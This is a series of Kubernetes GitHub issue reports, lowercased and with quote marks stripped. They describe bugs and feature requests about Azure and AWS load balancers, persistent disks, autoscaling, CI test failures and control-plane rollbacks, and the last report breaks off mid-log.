while trying to resolve some azure-disk issues i am encountering i noticed some strange logs:\r \r oct 11 10:37:49 smblab-we-worker-0 kubelet-wrapper 1264 : i1011 10:37:49.508797    1264 azure_common_linux.go:153  azuredisk - disk successfully formatted  mkfs : ext4 - /dev/sdd tt\r oct 11 10:37:49 smblab-we-worker-0 kubelet-wrapper 1264 : w1011 10:37:49.509230    1264 azure_common_linux.go:155  azuredisk - format of disk \ /dev/sdd\  failed: type: \ ext4\   target: \ tt\   options: \ o\  error: <nil> \r \r looking at the code it seem like an else clause is missing:\r \r https://github.com/kubernetes/kubernetes/blob/0564d5298504cb57ec4d35cf4878e383f9504ed6/pkg/volume/azure_dd/azure_common_linux.go l155

 \r   what happened  :\r \r created service template looking like\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: foo\r   labels:\r     app: bar\r     chart: {{ .chart.name }}-{{ .chart.version | replace \ +\  \ _\  }}\r     release: {{ .release.name }}\r     heritage: {{ .release.service }}\r spec:\r   type: loadbalancer\r   ports:\r     - port: {{ .values.service.externalport }}\r       targetport: {{ .values.service.internalport }}\r       protocol: tcp\r       name: {{ .values.service.name }}\r   selector:\r     app: bar\r     release: {{ .release.name }}\r    \r \r i created a  static ip resource as documented  https://kubernetes.io/docs/concepts/services-networking/service/ type-loadbalancer . ran  kubectl edit service <name> . added a static ip address with the following line in the spec\r    \r spec:\r   type: loadbalancer\r   loadbalancerip: {{ .values.service.loadbalancerip }}\r   ports:\r     - port: {{ .values.service.externalport }}\r       targetport: {{ .values.service.internalport }}\r       protocol: tcp\r       name: {{ .values.service.name }}\r   selector:\r     app: bar\r     release: {{ .release.name }}\r    \r \r the service was not updated. the system output the following error\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t\t-------\r   35m\t\t35m\t\t1\tservice-controller\t\t\tnormal\t\tloadbalancerip\t\t\t -> 52.165.145.62\r   1h\t\t5m\t\t13\tservice-controller\t\t\tnormal\t\tcreatingloadbalancer\t\tcreating load balancer\r   35m\t\t5m\t\t12\tservice-controller\t\t\twarning\t\t\r error creating load balancer  will retry : failed to create load balancer for service default/flippant-bunny-lexapi: user supplied ip address 52.165.145.62 was not found\r    \r \r   what you expected to happen  :\r \r the old service would be destroyed and the new service would be created\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a deployment with a container listening on a network port  like nginx port 80 \r 1. associate a service of type loadbalancer\r 1. create static ip resource in azure\r 1. update service with static ip\r \r   anything else we need to know?  :\r \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:09z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: azure eks  managed kubernetes \r - install tools: helm, azure-cli\r

\r   is this a bug report or feature request?  :\r   \r   what happened  : \r according to csi spec, nodepublishvolume  https://github.com/container-storage-interface/spec/blob/master/spec.md node-service-rpc  should get user credentials in its own map. \r \r   what you expected to happen  :\r csi volume plugin should get secret and pass into user credentials during volume publish calls.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r  @saad-ali @jsafrane @vladimirvivien @sbezverk \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r also see https://github.com/kubernetes-csi/external-provisioner/pull/29

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r \r   what happened  :\r \r my configuration file is as follows：\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kubeflow-watch\r   namespace: kube-system\r spec:\r   restartpolicy: never\r   containers:\r   - image: kubeflow-admin:watch\r     name: kubeflow-admin\r     command:\r     - /bin/sh\r     - -c\r     - /kubeflow-ad\r     env:\r     - name: storage_manager\r       value: \ http://192.168.21.165:30301\ \r     resources:\r        limits:\r          cpu: \ 1\ \r          memory: \ 1024mi\ \r        requests:\r          cpu: \ 0.1\ \r          memory: \ 100mi\ \r    \r the restartpolicy i set is never, but when it's done failed, use kubectl to display：\r    \r kubeflow-watch                                                    0/1       error      0          41m\r    \r when i use 1.8, it is invisible\r    \r  root@c720v197 :~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i have a deployment  apps/v1beta1  that is associated with:\r 1  a poddisruptionbudget  policy/v1beta1  that specifies maxunavaliable: 1\r 2  a horizontalpodautoscaler  autoscaling/v2beta1  that specifies minreplicas: 5 and maxreplicas: 5\r 3  each pod in the deployment has terminationgraceperiodseconds: 60\r \r when performing a rolling upgrade of my deployment, the poddisruptionbudget is respected, with only one pod in the deployment being taken offline at any given time.\r \r however, if i apply a change to the horizontalpodautoscaler such that minreplicas: 3 and maxreplicas: 3, i observe two pods in the deployment being terminated simultaneously.\r \r   what you expected to happen  :\r \r i would expect that modifying the horizontalpodautoscaler in this way would:\r 1  wait 60 seconds\r 2  terminate 1 pod in the deployment\r 3  wait another 60 seconds\r 3  terminate the 2nd pod in the deployment\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment, hpa, and pdb meeting the above specifications, then edit your hpa yaml to specify minrepicas: 3 and maxreplicas: 3, and run  kubectl apply -f <your hpa yaml>.yaml .  after about 1 minute, you should observe 2 pods in the deployment being terminated simultaneously  i normally monitor this from the k8s dashboard .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t22:27:55z\ , goversion:\ go1.9.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release\r name=\ alpine linux\ \r id=alpine\r version_id=3.7.0\r pretty_name=\ alpine linux v3.7\ \r home_url=\ http://alpinelinux.org\ \r bug_report_url=\ http://bugs.alpinelinux.org\ \r - kernel  e.g.  uname -a  :\r uname -a\r linux solr-core-deployment-7558c65c8f-cmk72 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 linux\r - install tools:\r  kubectl apply \r - others:\r i'm using the  solr:7.3.1-alpine  docker image in my deployment\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r i'm running a single node cluster on aws ec2, ie. scheduling work on the master as well. now that i tried to add an elb for my service, the ec2 instance is not associated with the elb. the elb gets created but there are 0 ec2 instances associated with it. i'm using elb for ssl termination, if you wonder why i'd like to load balance a single node cluster.\r \r the service controller logs this message:\r \r    \r i0628 17:54:48.853175       1 event.go:221  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ nginx\ , uid:\ 59980933-7afc-11e8-9a8c-0621b993d602\ , apiversion:\ v1\ , resourceversion:\ 2052\ , fieldpath:\ \ } : type: 'warning' reason: 'unavailableloadbalancer' there are no available nodes for loadbalancer service default/nginx\r    \r \r   what you expected to happen  :\r the ec2 instance is associated with the elb.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - boot an ec2 instance with correct iam permissions\r - install a single node cluster using  kubeadm  and  cloud-provider=aws \r - untaint the node\r - schedule eg. nginx\r - create an external load balancer for nginx\r - view the elb in aws console and note the  status: 0 of 0 instances in service \r \r   anything else we need to know?  :\r the reason for this seems to be the  node-role.kubernetes.io/master  label.  this  https://github.com/kubernetes/kubernetes/commit/82d600bb5c34b2c7352643d4d811941e063a8215 diff-56c9c66bf151b9d7268939da6ebf3613r609  blocks associating a load balancer with the node. on the other hand  this  https://github.com/kubernetes/kubernetes/commit/976e046f7a8d220dfd1df2e2f61d4630bcfbaf4c  changed what is included, because  includenodefromnodelist  did not check if a node is a master. i'm not sure what would be correct fix. i could try submit a pr, if you guide me how this should behave. is my scenario even a supported one?\r \r i think this bug should be reproducible on other clouds as well.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r \r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux ip-x.eu-central-1.compute.internal 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux\r    \r \r - install tools:  kubeadm

it would be nice to be able to use kubelet to start master components from static config files, where the containers are located in a private repo. but there's no way to get kubelet to use a pull secret when master components haven't started yet.

currently if you examine a pod you cannot discover what environment variables have been injected by k8s, especially service env vars.  for example:      yaml apiversion: v1 kind: pod metadata:   annotations:     openshift.io/scc: restricted   creationtimestamp: 2016-06-07t14:33:22z   labels:     name: hello-openshift   name: hello-openshift-1   namespace: pods   resourceversion: \ 1991960\    selflink: /api/v1/namespaces/pods/pods/hello-openshift-1   uid: c92a9ce7-2cbc-11e6-8b04-12e14c56fa4d spec:   containers:   - image: openshift/hello-openshift:v1.0.6     imagepullpolicy: ifnotpresent     name: hello-openshift     ports:     - containerport: 8080       protocol: tcp     resources:       limits:         cpu: 10m         memory: 16mi       requests:         cpu: 10m         memory: 16mi     securitycontext:       capabilities:         drop:         - kill         - mknod         - setgid         - setuid         - sys_chroot       privileged: false       runasuser: 1000630000       selinuxoptions:         level: s0:c25,c15     terminationmessagepath: /dev/termination-log     volumemounts:     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount       name: default-token-ulxeb       readonly: true   dnspolicy: clusterfirst   host: ip-172-18-0-163.ec2.internal   imagepullsecrets:   - name: default-dockercfg-4wdjx   nodename: ip-172-18-0-163.ec2.internal   nodeselector:     env: demo   restartpolicy: always   securitycontext:     fsgroup: 1000630000     selinuxoptions:       level: s0:c25,c15   serviceaccount: default   serviceaccountname: default   terminationgraceperiodseconds: 30   volumes:   - name: default-token-ulxeb     secret:       secretname: default-token-ulxeb status:   conditions:   - lastprobetime: null     lasttransitiontime: 2016-06-07t14:33:43z     status: \ true\      type: ready   containerstatuses:   - containerid: docker://76da9b5d15bf497007a676ad795728303f89f1873eafd42fd08e48354ea1837b     image: openshift/hello-openshift:v1.0.6     imageid: docker://21e33bae2bc21952f0dae0978be335b7b14875da5685345437377ea45151d208     laststate: {}     name: hello-openshift     ready: true     restartcount: 0     state:       running:         startedat: 2016-06-07t14:33:42z   hostip: 172.18.0.163   phase: running   podip: 10.8.0.10   starttime: 2016-06-07t14:33:22z      with root access to a host in the cluster i could use  docker inspect . however, outside the cluster and for containers that do not have any shell installed there appears to be no way to determine what env vars the pod is seeing.  @mfojtik  @ncdc

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node   https://k8s-testgrid.appspot.com/google-gke gci-gke-serial-release-1.3

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/1125/  run so broken it didn't make junit output!

feature request  \r i would like to see a way to generate api doc automatically for my crd endpoint  example.k8s.io , then i can easily develop my app to interact with it.\r \r   kubernetes version    use  kubectl version  :\r v1.6.0\r \r   environment  :\r minikube\r \r   what happened  :\r there is a  swagger.json  for k8s api doc out there but no support for cd endpoints\r \r   what you expected to happen  :\r if we can generate api doc for cdr endpoints automatically that would be awesome.\r \r

\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r check failed\r \r   what you expected to happen  :\r check passed\r \r \r   anything else we need to know?  :\r check failed in many prs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50005/pull-kubernetes-kubemark-e2e-gce/46742/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/47896/pull-kubernetes-kubemark-e2e-gce/46705/\r \r /cc @k8s-mirror-testing-bugs \r

created two k8s clusters and a federation as explained at:\r \r https://gist.github.com/arun-gupta/02f534c7720c8e9c9a875681b430441a/ab4f9738c78da8c153f9b6bbb83b49f0b3a4e8de\r \r the non-host cluster is always shown in  unknown  state.\r \r tried this with 1.6.4 and 1.7.0 clusters.

 \r   what happened  :\r \r with an existing cluster, with existing workloads, i used the azure command line tool   az   to add a new agent machine to the cluster. and some time later performed a  rolling-update  on a pod, which failed to ever complete.\r \r \r   what you expected to happen  :\r \r i expected the  rolling-update  to complete  obviously  and appropriately/successfully move the containers from the first agent to the newly created one.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy an azure container service cluster  or any azure kubernetes cluster i presume , with 1 master and 1 agent.\r 1. load it up with a number of replication controllers which require persistent volumes\r 1. add another agent to the cluster  e.g.  az acs scale -n my-cluster-name -g my-resource-group --new-agent-count 2  \r 1. perform a rolling-update of a pod which uses a persistent volume  e.g.  kubectl rolling-update my-persistent-pod  \r 1. watch the controller's logs for items like:\r \r    \r i0909 16:07:26.840435       1 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-codevalet-101cd79135bd4d881bcc0e86d1737f61-nffx5\ , uid:\ 8669a2e6-9578-11e7-b1c2-000d3a01b272\ , apiversion:\ v1\ , resourceversion:\ 4692710\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failedto attach volume \ pvc-b0fef60a-8898-11e7-b1c2-000d3a01b272\  on node \ k8s-agent-5a6192fc-1\  with: attach volume \ codevalet-prod-k8s-master-dynamic-pvc-b0fef60a-8898-11e7-b1c2-000d3a01b272.vhd\  to instance \ k8s-agent-5a6192fc-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: statuscode=200 -- original error: long running operation terminated with status 'failed': code=\ acquirediskleasefailed\  message=\ failed to acquire lease while creating disk 'codevalet-prod-k8s-master-dynamic-pvc-b0fef60a-8898-11e7-b1c2-000d3a01b272.vhd' using blob with uri https://00oxk5tljgfa3lcagnt0.blob.core.windows.net/vhds/codevalet-prod-k8s-master-dynamic-pvc-b0fef60a-8898-11e7-b1c2-000d3a01b272.vhd. blob is already in use.\ \r    \r \r   anything else we need to know?  :\r \r the gist of what i understand to be happening here is that the page blobs in the azure storage account are in a leased state by the machine  agent-0 , because  pod-alpha  is utilizing a persistent volume.\r \r when the rolling-update occurs, kubernetes appropriately tries to provision the  pod-beta  on  agent-1 , which at this point is not running _anything_. unfortunately, because the machine  agent-0  already has leased the page blob in azure storage, it cannot properly attach the page blob to the vm.\r \r \r   work around  \r \r the work-around i applied, which seem to work, as to fully delete the replication controller  not the persistent volume  which released the lease on the page blob. then i recreated the replication controller, which caused the page blob to be leased by  agent-1 .\r \r that seemed to work, but incurred a few unacceptable minutes of downtime :slightly_frowning_face: \r \r \r   environment  :\r \r this environment was deployed on azure via the azure container service.\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r fyi @kris-nova

currently there are several, and some of them have problems with excessive logging\r \r @loburm could you please do this?

/ /  @kubernetes/sig-testing-test-failures \r \r    \r w1108 07:13:35.698        --test-cmd-name string                              name to log the test command as in xml results\r w1108 07:13:35.698        --test_args string                                  space-separated list of arguments to pass to ginkgo test runner.  default \ \  \r w1108 07:13:35.698        --timeout duration                                  terminate testing after the timeout duration  s/m/h   default 0s \r w1108 07:13:35.698        --up                                                if true, start the the e2e cluster. if cluster is already up, recreate it.  default false \r w1108 07:13:35.698        --upgrade_args string                               if set, run upgrade tests before other tests\r w1108 07:13:35.698    -v, --v                                                 if true, print all command output.  default false \r w1108 07:13:35.699  2017/11/08 07:13:35 main.go:295: flag parse failed: unknown flag: --kops-ssh-user\r w1108 07:13:36.153  run:  'sudo', 'chmod', '-r', 'o+r', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/_artifacts' \r w1108 07:13:36.162  traceback  most recent call last :\r w1108 07:13:36.162    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 871, in <module>\r w1108 07:13:36.162      main parse_args   \r w1108 07:13:36.162    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 711, in main\r w1108 07:13:36.162      mode.start runner_args \r w1108 07:13:36.163    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 369, in start\r w1108 07:13:36.163      check  cmd \r w1108 07:13:36.163    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 49, in check\r w1108 07:13:36.163      subprocess.check_call cmd \r w1108 07:13:36.163    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w1108 07:13:36.163      raise calledprocesserror retcode, cmd \r    \r \r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-kops-aws

we have changed fluentd to support cri container log format.\r \r however, for daemon logs, fluentd still only supports docker.\r \r should we add this support upstream?\r /cc @kubernetes/sig-node-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r   what happened  :\r these  dedicated  https://github.com/kubernetes/kubernetes/pull/51828  such as v1beta1 and extension set of apis are still being used by the core contollers and e2e test.\r   what you expected to happen  :\r what is the plan to move the core controller to use the new  apps/v1  group.   ideally, we should be testing the new api types instead?\r \r for instance, rollback is removed from deployment but these are still tested in e2e, should we not ideally \r only test stuff that are currently supported?\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r any update on the scale sub-resource? \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r for strategies governing optional fields  e.g. supplementalgroups & fsgroup  we should have an strategy that enforces allowed options without setting the defaults. e.g.  mayrunas  - if a supplemental group is set on the pod spec, it must be in the allowed range, if no supplemental group is set, it is left unset.

\r   is this a bug report or feature request?  :\r \r >\r >  \r \r   what happened  :\r \r i had a kubernetes v1.8.3 cluster setup and running fine. then i rollback kubernetes core services apiserver, controller-manager and scheduler to v1.7.3 for some verification. \r \r however controller manager can not be started due to following error\r \r    \r i1129 14:10:31.740716       1 feature_gate.go:144  feature gates: map taintbasedevictions:true persistentlocalvolumes:true \r i1129 14:10:31.745389       1 controllermanager.go:107  version: v1.7.3-11\r i1129 14:10:31.754805       1 leaderelection.go:179  attempting to acquire leader lease...\r i1129 14:10:31.777706       1 leaderelection.go:189  successfully acquired lease kube-system/kube-controller-manager\r i1129 14:10:31.781626       1 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 179186cf-d4aa-11e7-a20a-fa163e711521\ , apiversion:\ v1\ , resourceversion:\ 62502\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' qing-4.novalocal became leader\r f1129 14:10:32.033106       1 controllermanager.go:176  error building controller context: failed to get supported resources from server: unable to retrieve the complete list of server apis: apps/v1beta2: the server could not find the requested resource, autoscaling/v2beta1: the server could not find the requested resource, batch/v1beta1: the server could not find the requested resource, rbac.authorization.k8s.io/v1: the server could not find the requested resource\r    \r \r   what you expected to happen  :\r \r kubernetes core services apiserver, controler manager and scheduler should be started successfully in the rollback case.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set up a v1.8.3 kubernetes cluster. create some deployment/statefulset/daemonset/rbac roles.\r 2. rollback kubernetes to v1.7.3.\r \r   anything else we need to know?  :\r \r   environment  : none\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: self-defined\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r we have a 3 node k8s 1.7.3 cluster  all masters  with control plane  apiserver, controller, scheduler, etcd  and dns server, all scaled out to 3. what we have observed is that when one of the nodes that had the kube-controller-manager running as master goes down, the dns stops servicing requests for a while, probably till the time the new controller leader is elected. this sends some of our ha services like postgres  statefulset  for a toss as it cannot connect to any peers using the dns names.  \r \r   what you expected to happen  :\r dns should not get interrupted because of one node going down out of 3. \r \r   how to reproduce it  as minimally and precisely as possible   :\r a 3 node k8s 1.7.3 cluster with control plane and dns server scaled out to 3. bring the node with leader controller down and simultaneously check if dns works from the other 2 nodes. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v.1.7.3\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : linux ubuntu x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm 1.7.3\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r ip-masq-agent should be scheduled on all the nodes and has the same toleration as the deamon set  calico-node .\r \r see the difference:\r https://github.com/kubernetes/kubernetes/blob/head/cluster/addons/ip-masq-agent/ip-masq-agent.yaml l55-l56\r \r https://github.com/kubernetes/kubernetes/blob/head/cluster/addons/calico-policy-controller/calico-node-daemonset.yaml l170-l175\r \r   what you expected to happen  :\r ip-masq-agent tolerate noschedule and noexecute so that it will be scheduled in all nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a node with taint operation=noschedule. ip-masq-agent will not be scheduled in that node.\r \r   anything else we need to know?  :\r i don't believe this is intended behavior. but if it is, let me know and i will close this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r \r /assign @thockin \r /assign @gyliu513 \r /assign @bowei \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r https://k8s-testgrid.appspot.com/sig-storage gce-serial\r \r   what happened  :\r the skip check for hostpath doesn't seem to be working for these test cases\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r nodes are not removed after deleting vms.\r \r   what you expected to happen  :\r nodes should be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create cluster using head build with 5 nodes. remove 4 nodes. list nodes. there will be 4 notready nodes and 1 ready. i checked that nodes were not removed after 10 minutes.\r \r   anything else we need to know?  :\r the bug might be caused by https://github.com/kubernetes/kubernetes/pull/70344.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-alpha.0.1352+a7cb03f4cfbf3b\ , gitcommit:\ a7cb03f4cfbf3b519dc1a0090331a475abbe0321\ , gittreestate:\ clean\ , builddate:\ 2019-01-02t19:29:04z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r unit tests are failing with the latest golang 1.12 \r    \r root@localhost:~/k8s_ws/src/k8s.io/kubernetes  make check what=./vendor/k8s.io/apiserver/pkg/storage/tests goflags=-v\r +++  0407 02:15:29  building go targets for linux/ppc64le:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r running tests for apiversion: v1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1,apps/v1beta1,apps/v1beta2,auditregistration.k8s.io/v1alpha1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,autoscaling/v2beta2,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,coordination.k8s.io/v1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,networking.k8s.io/v1beta1,node.k8s.io/v1alpha1,node.k8s.io/v1beta1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,scheduling.k8s.io/v1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0407 02:16:02  running tests without code coverage\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/tests\r 